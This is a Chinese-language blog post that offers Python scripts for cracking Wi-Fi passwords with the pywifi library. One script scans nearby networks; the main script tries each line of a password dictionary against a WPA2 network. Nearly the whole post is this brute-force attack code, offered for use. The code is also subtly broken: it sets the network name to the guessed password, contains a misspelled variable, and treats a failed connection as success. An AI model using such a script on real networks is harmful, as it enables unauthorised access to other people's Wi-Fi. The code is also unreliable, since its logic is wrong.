python破解wifi Posted on 2018-07-16 | In Code 功能python破解wifi密码 环境Python3 代码 测试文件:wifi_test.py 12345678910111213141516171819202122232425262728293031323334import pywififrom pywifi import constdef gic(): # 创建一个对象 wifi = pywifi.PyWiFi() # 获取到第一个无线网卡 ifaces = wifi.interfaces()[0] # 打印网卡名称 #print(ifaces.name()) # 列表 #print(ifaces) # 打印网卡连接状态 # print(ifaces.status()) # IFACE_CONNECTED 连接状态 connect 连接 # print(const.IFACE_CONNECTED) 4 if ifaces.status() == const.IFACE_CONNECTED: print("已连接") else: print("未连接")#gic()# 扫描附近的wifidef bies(): wifi = pywifi.PyWiFi() ifaces = wifi.interfaces()[1] # 扫描wifi ifaces.scan() # 获取扫描结果 result = ifaces.scan_results() for name in result: # ssid WiFi的名称 print(name.ssid)bies() 主文件:wifi.py 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374# !/usr/bin/env # -*- coding:utf-8 -*-## 导入模块# 获取网卡接口# 断开所有的WiFi# 读取密码本# 测试连接# 设置睡眠时间#import pywifiimport timefrom pywifi import constdef wificonnect(pwd): # 抓取网卡接口 wifi = pywifi.PyWiFi() # 获取到第一个无线网卡 ifaces = wifi.interfaces()[0] # 断开所有的连接 ifaces.disconnect() time.sleep(1) wifistatus = ifaces.status() # const.IFACE_DISCONNECTED if wifistatus == const.IFACE_DISCONNECTED: # 创建WiFi连接文件 profile = pywifi.Profile() #要连接wifi的名字 profile.ssid = pwd # 网卡的开放 profile.auth = const.AUTH_ALG_OPEN # wifi加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密单元 prodile.cipher = const.CIPHER_TYPE_CCMP # 密码 profile.key = pwd # 删除所有的WiFi文件 ifaces.remove_all_network_profiles() # 设定新的连接文件 tep_profile = ifaces.add_network_profile(profile) # 用新的连接文件去测试连接 ifaces.connect(tep_profile) # wifi 连接时间 time.sleep(4) if ifaces.status() == const.IFACE_DISCONNECTED: return True else: return False else: print("已连接")def readPasswd(): print("开始破解") # 读取密码字典 path = "E:\passwd.txt" # 打开文件 r read读 file = open(path,"r") while True: try: # readline 读取一行 passline = file.readline() bool = wificonnect(passline) if bool: print("密码正确",passline) break else: print("密码不正确",passline) except: # 跳出当前循环进入下一次的循环 continueif __name__ == "__main__": readPasswd() Post author: evilvoid Post link: http://www.evilvoid.cn/2018/07/16/python破解wifi/ Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.